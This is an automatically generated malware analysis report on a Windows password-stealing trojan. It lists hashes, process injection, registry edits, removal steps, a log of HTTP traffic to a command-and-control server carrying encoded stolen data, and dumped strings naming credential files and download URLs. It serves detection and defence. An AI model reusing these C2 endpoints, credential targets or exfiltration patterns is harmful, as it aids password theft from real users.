Trojan.Win32.Agent.neyema (Kaspersky), Gen:Variant.Graftor.311628 (B) (Emsisoft), Gen:Variant.Graftor.311628 (AdAware), Trojan-PSW.Win32.MSNPassword.FD, Trojan.Win32.Delphi.FD, Trojan.Win32.FlyStudio.FD, Trojan.Win32.Sasfis.FD, VirTool.Win32.DelfInject.FD, GenericEmailWorm.YR, TrojanFlyStudio.YR (Lavasoft MAS)Behaviour: Trojan-PSW, Trojan, Worm, EmailWorm, VirTool
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: e1085520d5a187b498ff8137f3de838f
SHA1: 3b75815bae54bc683b5d7dca5ff241bc1169696c
SHA256: 6d586934cf4ebf3b62ee8c9f1fe8fd078996dd1049dae0e000991bcaa5956088
SSDeep: 24576:Mm43R7faapB/aTYWM6Hfw u4QdoPuhBYd:Ahrn/p6HXVQdMuv
Size: 1096192 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2016-11-30 14:16:08
Analyzed on: Windows7 SP1 32-bit
Summary: Trojan-PSW. Trojan program intended for stealing users passwords.
Dynamic Analysis
Payload
Behaviour | Description |
---|---|
EmailWorm | Worm can send e-mails. |
Process activity
The Trojan creates the following process(es):
%original file name%.exe:3504
The Trojan injects its code into the following process(es):
usysdiag.exe:4084
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process usysdiag.exe:4084 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\318DR7NG\cj_id[1].htm (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\30EV4AVE\ip[1].htm (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\318DR7NG\p2[1].htm (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\GPS1JHSL\ver[1].txt (423 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\GPS1JHSL\cj_xinxiasp[1].htm (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Z6N4XLNR\cj_pasp[1].htm (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\30EV4AVE\p2[1].htm (7 bytes)
The process %original file name%.exe:3504 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\PerfLogs\usysdiag.exe (50 bytes)
Registry activity
The process usysdiag.exe:4084 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
[HKLM\SOFTWARE\Microsoft\Tracing\usysdiag_RASAPI32]
"MaxFileSize" = "1048576"
[HKLM\SOFTWARE\Microsoft\Tracing\usysdiag_RASMANCS]
"FileDirectory" = "%windir%\tracing"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\usysdiag_RASAPI32]
"FileTracingMask" = "4294901760"
"EnableConsoleTracing" = "0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad]
"WpadLastNetwork" = "{24C5EDBC-2851-452A-B521-5DA992F6C1B5}"
[HKLM\SOFTWARE\Microsoft\Tracing\usysdiag_RASMANCS]
"EnableFileTracing" = "0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{24C5EDBC-2851-452A-B521-5DA992F6C1B5}]
"WpadDecision" = "3"
"WpadDecisionTime" = "E0 43 10 DE 4A 60 D2 01"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-e1-da-d8]
"WpadDecision" = "3"
"WpadDecisionReason" = "1"
[HKLM\SOFTWARE\Microsoft\Tracing\usysdiag_RASMANCS]
"EnableConsoleTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\usysdiag_RASAPI32]
"EnableFileTracing" = "0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 36 00 00 00 09 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{24C5EDBC-2851-452A-B521-5DA992F6C1B5}]
"WpadNetworkName" = "Network 2"
[HKLM\SOFTWARE\Microsoft\Tracing\usysdiag_RASAPI32]
"ConsoleTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\usysdiag_RASMANCS]
"ConsoleTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\usysdiag_RASAPI32]
"FileDirectory" = "%windir%\tracing"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{24C5EDBC-2851-452A-B521-5DA992F6C1B5}]
"WpadDecisionReason" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 09 00 00 00 09 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Tracing\usysdiag_RASMANCS]
"MaxFileSize" = "1048576"
"FileTracingMask" = "4294901760"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-e1-da-d8]
"WpadDecisionTime" = "E0 43 10 DE 4A 60 D2 01"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"
The process %original file name%.exe:3504 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Multimedia\DrawDib]
"vga.drv 1916x902x32(BGR 0)" = "31,31,31,31"
Dropped PE files
There are no dropped PE files.
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:3504
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\318DR7NG\cj_id[1].htm (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\30EV4AVE\ip[1].htm (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\318DR7NG\p2[1].htm (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\GPS1JHSL\ver[1].txt (423 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\GPS1JHSL\cj_xinxiasp[1].htm (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Z6N4XLNR\cj_pasp[1].htm (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\30EV4AVE\p2[1].htm (7 bytes)
C:\PerfLogs\usysdiag.exe (50 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
UPX0 | 4096 | 1929216 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
UPX1 | 1933312 | 999424 | 998400 | 5.50608 | a1cd2283c9d74860102daa20e784b6a3 |
.rsrc | 2932736 | 98304 | 96768 | 3.8873 | 306f6ca6058f07d77a814c5ed8a1b6ab |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://121.41.83.121/ver.txt | |
hxxp://121.41.83.121/ip.asp | |
hxxp://121.41.83.121/bbs/cj_id.asp?name=z7357 | |
hxxp://121.41.83.121/bbs/z7357/do.txt | |
hxxp://121.41.83.121/bbs/cj_pasp.asp?zh=z7357 | |
hxxp://121.41.83.121/bbs/cj_xinxiasp.asp?zh=z7357 | |
hxxp://121.41.83.121/bbs/z7357/p2.asp?s=AF23CCDE689BAC4434C8BF3689741D4C9C9242EC53615C2D71E8E6E34AE95A99909807B163D9482BE04687727B92D6C36C5677DA206B51BD960F08A29220C1CF8BAB9DB321DE684C2AB52153364B79D671116C69D00868AA17FFFFBCA4F0E6220F82DB06786C4A80B975EA4B0520FFF59CBBD6A40ED530D399BAFBDD9B6AAA3F3F121D84B8ABA1C2AEE019E8E2D2003354&ss=<.> | |
hxxp://121.41.83.121/2506355667/p2.asp?ml=DA2AC8E2&mls=69D23408E41D5E86A35CDA4BF577713182E63695 | |
hxxp://121.41.83.121/bbs/z7357/p2.asp?s=AF23CCDE689BAC4434C8BF3689741D4C9C9242EC53615C2D71E8E6E34AE95A99909807B163D9482BE04687727B92D6C36C5677DA206B51BD960F08A29220C1CF8BAB9DB321DE684C2AB52153364B79D671116C69D00868AA17FFFFBCA4F0E6220F82DB06786C4A80B975EA4B0520FFF59CBBD6A40ED530D399BAFBDD9B6AAA3F3F121D84B8ABA1C2AEE019E8E2D2003354&ss=<.> |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /ver.txt HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/ver.txt
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
HTTP/1.1 200 OK
Content-Length: 423
Content-Type: text/plain
Last-Modified: Fri, 16 Dec 2016 03:13:48 GMT
Accept-Ranges: bytes
ETag: "f4dc316b4a57d21:0"
Server: WWW Server/1.1
X-Powered-By: ASP.NET
X-Safe-Firewall: zhuji.360.cn 1.0.9.47 F1W1
Date: Tue, 27 Dec 2016 14:09:39 GMT
sip=[hXXp://121.41.83.121/]..Gg=[hXXp://zryk.aa3e.com/zr2017.html]..reg=[121.41.83.121]..pay_url=[hXXp://VVV.yunfaka.com/category/27BA062E1B1474E3]..jiaoc=[hXXp://test-yk1.ys168.com/]..test=[hXXp://VVV.yunfaka.com/product/8A029F02D5036880]..v=[7.2]..vurl=[hXXp://test-yk1.ys168.com/]..zrurl=[hXXp://121.41.83.121/zrurl.txt]..exeurl=[hXXp://zryk.aa3e.com/badada.zrvip]..swf=[hXXp://121.41.83.121/swf.txt]..vips=[yes]..'kham.....
GET /ip.asp HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/ip.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 14
Content-Type: text/html
Server: WWW Server/1.1
Set-Cookie: ASPSESSIONIDQCQQCTBS=GDDPIJLAMECBCMGAOKGKAIML; path=/
X-Powered-By: ASP.NET
X-Safe-Firewall: zhuji.360.cn 1.0.9.47 F1W1
Date: Tue, 27 Dec 2016 14:09:44 GMT
194.242.96.226....
GET /bbs/cj_id.asp?name=z7357 HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/bbs/cj_id.asp?name=z7357
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCQQCTBS=GDDPIJLAMECBCMGAOKGKAIML
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 7
Content-Type: text/html
Server: WWW Server/1.1
X-Powered-By: ASP.NET
X-Safe-Firewall: zhuji.360.cn 1.0.9.47 F1W1
Date: Tue, 27 Dec 2016 14:09:55 GMT
yes2yes....
GET /bbs/z7357/do.txt HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/bbs/z7357/do.txt
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCQQCTBS=GDDPIJLAMECBCMGAOKGKAIML
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Server: Microsoft-IIS/8.5
Date: Tue, 27 Dec 2016 14:09:55 GMT
Content-Length: 57
.............................................................
GET /bbs/cj_pasp.asp?zh=z7357 HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/bbs/cj_pasp.asp?zh=z7357
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCQQCTBS=GDDPIJLAMECBCMGAOKGKAIML
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 42
Content-Type: text/html
Server: WWW Server/1.1
X-Powered-By: ASP.NET
X-Safe-Firewall: zhuji.360.cn 1.0.9.47 F1W1
Date: Tue, 27 Dec 2016 14:09:59 GMT
yes2yesC:\inetpub\wwwroot\bbs\z7357\p1.asp....
GET /bbs/z7357/do.txt HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/bbs/z7357/do.txt
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCQQCTBS=GDDPIJLAMECBCMGAOKGKAIML
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Server: Microsoft-IIS/8.5
Date: Tue, 27 Dec 2016 14:09:59 GMT
Content-Length: 57
.............................................................
GET /bbs/cj_xinxiasp.asp?zh=z7357 HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/bbs/cj_xinxiasp.asp?zh=z7357
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCQQCTBS=GDDPIJLAMECBCMGAOKGKAIML
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 42
Content-Type: text/html
Server: WWW Server/1.1
X-Powered-By: ASP.NET
X-Safe-Firewall: zhuji.360.cn 1.0.9.47 F1W1
Date: Tue, 27 Dec 2016 14:10:00 GMT
yes2yesC:\inetpub\wwwroot\bbs\z7357\p2.asp....
GET /bbs/z7357/p2.asp?s=AF23CCDE689BAC4434C8BF3689741D4C9C9242EC53615C2D71E8E6E34AE95A99909807B163D9482BE04687727B92D6C36C5677DA206B51BD960F08A29220C1CF8BAB9DB321DE684C2AB52153364B79D671116C69D00868AA17FFFFBCA4F0E6220F82DB06786C4A80B975EA4B0520FFF59CBBD6A40ED530D399BAFBDD9B6AAA3F3F121D84B8ABA1C2AEE019E8E2D2003354&ss=<.> HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/bbs/z7357\p2.asp?s=AF23CCDE689BAC4434C8BF3689741D4C9C9242EC53615C2D71E8E6E34AE95A99909807B163D9482BE04687727B92D6C36C5677DA206B51BD960F08A29220C1CF8BAB9DB321DE684C2AB52153364B79D671116C69D00868AA17FFFFBCA4F0E6220F82DB06786C4A80B975EA4B0520FFF59CBBD6A40ED530D399BAFBDD9B6AAA3F3F121D84B8ABA1C2AEE019E8E2D2003354&ss=<.>
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCQQCTBS=GDDPIJLAMECBCMGAOKGKAIML
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 7
Content-Type: text/html
Server: WWW Server/1.1
X-Powered-By: ASP.NET
X-Safe-Firewall: zhuji.360.cn 1.0.9.47 F1W1
Date: Tue, 27 Dec 2016 14:10:00 GMT
yes2yes....
GET /bbs/z7357/do.txt HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/bbs/z7357/do.txt
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCQQCTBS=GDDPIJLAMECBCMGAOKGKAIML
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Server: Microsoft-IIS/8.5
Date: Tue, 27 Dec 2016 14:10:08 GMT
Content-Length: 57
.............................................................
GET /bbs/z7357/do.txt HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/bbs/z7357/do.txt
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCQQCTBS=GDDPIJLAMECBCMGAOKGKAIML
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Server: Microsoft-IIS/8.5
Date: Tue, 27 Dec 2016 14:10:10 GMT
Content-Length: 57
.............................................................
GET /bbs/z7357/do.txt HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/bbs/z7357/do.txt
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCQQCTBS=GDDPIJLAMECBCMGAOKGKAIML
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Server: Microsoft-IIS/8.5
Date: Tue, 27 Dec 2016 14:10:10 GMT
Content-Length: 57
.........................................................HTTP/1.1 500 Internal Server Error..Content-Type: text/html..Server: Microsoft-IIS/8.5..Date: Tue, 27 Dec 2016 14:10:10 GMT..Content-Length: 57...............................................................
GET /2506355667/p2.asp?ml=DA2AC8E2&mls=69D23408E41D5E86A35CDA4BF577713182E63695 HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/2506355667\p2.asp?ml=DA2AC8E2&mls=69D23408E41D5E86A35CDA4BF577713182E63695
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCQQCTBS=GDDPIJLAMECBCMGAOKGKAIML
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 7
Content-Type: text/html
Server: WWW Server/1.1
X-Powered-By: ASP.NET
X-Safe-Firewall: zhuji.360.cn 1.0.9.47 F1W1
Date: Tue, 27 Dec 2016 14:10:11 GMT
yes2yesHTTP/1.1 200 OK..Cache-Control: private..Content-Length: 7..Content-Type: text/html..Server: WWW Server/1.1..X-Powered-By: ASP.NET..X-Safe-Firewall: zhuji.360.cn 1.0.9.47 F1W1..Date: Tue, 27 Dec 2016 14:10:11 GMT..yes2yes....
GET /bbs/z7357/do.txt HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/bbs/z7357/do.txt
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCQQCTBS=GDDPIJLAMECBCMGAOKGKAIML
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Server: Microsoft-IIS/8.5
Date: Tue, 27 Dec 2016 14:10:13 GMT
Content-Length: 57
.........................................................HTTP/1.1 500 Internal Server Error..Content-Type: text/html..Server: Microsoft-IIS/8.5..Date: Tue, 27 Dec 2016 14:10:13 GMT..Content-Length: 57...............................................................
GET /bbs/z7357/do.txt HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/bbs/z7357/do.txt
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCQQCTBS=GDDPIJLAMECBCMGAOKGKAIML
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Server: Microsoft-IIS/8.5
Date: Tue, 27 Dec 2016 14:10:18 GMT
Content-Length: 57
.........................................................HTTP/1.1 500 Internal Server Error..Content-Type: text/html..Server: Microsoft-IIS/8.5..Date: Tue, 27 Dec 2016 14:10:18 GMT..Content-Length: 57...............................................................
GET /bbs/z7357/do.txt HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/bbs/z7357/do.txt
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCQQCTBS=GDDPIJLAMECBCMGAOKGKAIML
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Server: Microsoft-IIS/8.5
Date: Tue, 27 Dec 2016 14:10:22 GMT
Content-Length: 57
.........................................................HTTP/1.1 500 Internal Server Error..Content-Type: text/html..Server: Microsoft-IIS/8.5..Date: Tue, 27 Dec 2016 14:10:22 GMT..Content-Length: 57...............................................................
GET /bbs/z7357/do.txt HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/bbs/z7357/do.txt
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCQQCTBS=GDDPIJLAMECBCMGAOKGKAIML
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Server: Microsoft-IIS/8.5
Date: Tue, 27 Dec 2016 14:10:26 GMT
Content-Length: 57
.........................................................HTTP/1.1 500 Internal Server Error..Content-Type: text/html..Server: Microsoft-IIS/8.5..Date: Tue, 27 Dec 2016 14:10:26 GMT..Content-Length: 57...............................................................
GET /bbs/z7357/do.txt HTTP/1.1
Accept: */*
Referer: hXXp://121.41.83.121/bbs/z7357/do.txt
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 121.41.83.121
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCQQCTBS=GDDPIJLAMECBCMGAOKGKAIML
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Server: Microsoft-IIS/8.5
Date: Tue, 27 Dec 2016 14:10:30 GMT
Content-Length: 57
.........................................................HTTP/1.1 500 Internal Serve..
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
usysdiag.exe_4084:
`.rsrc
`.rsrc
t%SVh
t%SVh
t$(SSh
t$(SSh
|$D.tm
|$D.tm
~%UVW
~%UVW
.tTPV
.tTPV
FTPjK
FTPjK
FtPj;
FtPj;
F.PjRWj
F.PjRWj
u.WWj
u.WWj
u.VVj
u.VVj
u$SShe
u$SShe
wininet.dll
wininet.dll
kernel32.dll
kernel32.dll
avicap32.dll
avicap32.dll
rasapi32.dll
rasapi32.dll
ADVAPI32.DLL
ADVAPI32.DLL
advapi32.dll
advapi32.dll
ntdll.dll
ntdll.dll
upaxa.dll
upaxa.dll
urlmon
urlmon
user32.dll
user32.dll
atl.dll
atl.dll
gdi32.dll
gdi32.dll
gdiplus.dll
gdiplus.dll
Ole32.dll
Ole32.dll
ole32.dll
ole32.dll
psapi.dll
psapi.dll
Advapi32.dll
Advapi32.dll
VedioCapture.dll
VedioCapture.dll
shlwapi.dll
shlwapi.dll
HttpOpenRequestA
HttpOpenRequestA
HttpSendRequestA
HttpSendRequestA
HttpQueryInfoA
HttpQueryInfoA
URLDownloadToFileA
URLDownloadToFileA
ExitWindowsEx
ExitWindowsEx
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
SetWindowsHookExA
SetWindowsHookExA
UnhookWindowsHookEx
UnhookWindowsHookEx
GetWindowsDirectoryA
GetWindowsDirectoryA
GdiplusShutdown
GdiplusShutdown
ShellExecuteA
ShellExecuteA
CreatePipe
CreatePipe
PeekNamedPipe
PeekNamedPipe
EnumWindows
EnumWindows
EnumChildWindows
EnumChildWindows
GetProcessHeap
GetProcessHeap
InternetOpenUrlA
InternetOpenUrlA
HttpAddRequestHeadersA
HttpAddRequestHeadersA
GetKeyState
GetKeyState
GetAsyncKeyState
GetAsyncKeyState
ver.txt
ver.txt
255.255.255.255
255.255.255.255
hXXps://
hXXps://
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
http=
http=
HTTP/1.1
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
hXXp://
hXXp://
https
https
adminakang_kn_VVV.52blt.net_sujiankangwoaini!
adminakang_kn_VVV.52blt.net_sujiankangwoaini!
hXXps://VVV.so.com/s?q=ip
hXXps://VVV.so.com/s?q=ip
hXXps://VVV.sogou.com/web?query=ip
hXXps://VVV.sogou.com/web?query=ip
\ipget.txt
\ipget.txt
hXXp://VVV.baidu.com/s?wd=ip
hXXp://VVV.baidu.com/s?wd=ip
cj_id.asp?name=
cj_id.asp?name=
cj_pasp.asp?zh=
cj_pasp.asp?zh=
cj_xinxiasp.asp?zh=
cj_xinxiasp.asp?zh=
z>Windows 2000
z>Windows 2000
Windows Server 2003
Windows Server 2003
Windows Vista
Windows Vista
Windows 7
Windows 7
Windows 8
Windows 8
QQ.exe
QQ.exe
\p2.asp?s=
\p2.asp?s=
\Microsoft\Network\Connections\pbk\rasphone.pbk
\Microsoft\Network\Connections\pbk\rasphone.pbk
Msg3.0.db
Msg3.0.db
\p2.asp?ml=
\p2.asp?ml=
/do.txt
/do.txt
\zrml.txt
\zrml.txt
hXXp://VVV.hot88.top/?upaxa
hXXp://VVV.hot88.top/?upaxa
dllurl.txt
dllurl.txt
\upaxa.dll
\upaxa.dll
c:\023.mp3
c:\023.mp3
hXXp://t.kanshulou.com/
hXXp://t.kanshulou.com/
/023.mp3
/023.mp3
c:\zr1.mp3
c:\zr1.mp3
hXXp://VVV.hot88.top/z/mp3/1.mp3
hXXp://VVV.hot88.top/z/mp3/1.mp3
c:\zr2.mp3
c:\zr2.mp3
hXXp://VVV.hot88.top/z/mp3/2.mp3
hXXp://VVV.hot88.top/z/mp3/2.mp3
c:\zr3.mp3
c:\zr3.mp3
hXXp://VVV.hot88.top/z/mp3/3.mp3
hXXp://VVV.hot88.top/z/mp3/3.mp3
c:\zr4.mp3
c:\zr4.mp3
hXXp://VVV.hot88.top/z/mp3/4.mp3
hXXp://VVV.hot88.top/z/mp3/4.mp3
c:\zr5.mp3
c:\zr5.mp3
hXXp://VVV.hot88.top/z/mp3/5.mp3
hXXp://VVV.hot88.top/z/mp3/5.mp3
c:\zr6.mp3
c:\zr6.mp3
hXXp://VVV.hot88.top/z/mp3/6.mp3
hXXp://VVV.hot88.top/z/mp3/6.mp3
c:\025.mp3
c:\025.mp3
/025.mp3
/025.mp3
c:\zzjggs.mp3
c:\zzjggs.mp3
/006.mp3
/006.mp3
c:\11asd1._.mp3
c:\11asd1._.mp3
\loginZ.exe
\loginZ.exe
d1.Ab
d1.Ab
.rzmF
.rzmF
sj.nSa;
sj.nSa;
KeYt
KeYt
c:\bz.jpg
c:\bz.jpg
c:\bbz.jpg
c:\bbz.jpg
c:\downfile\
c:\downfile\
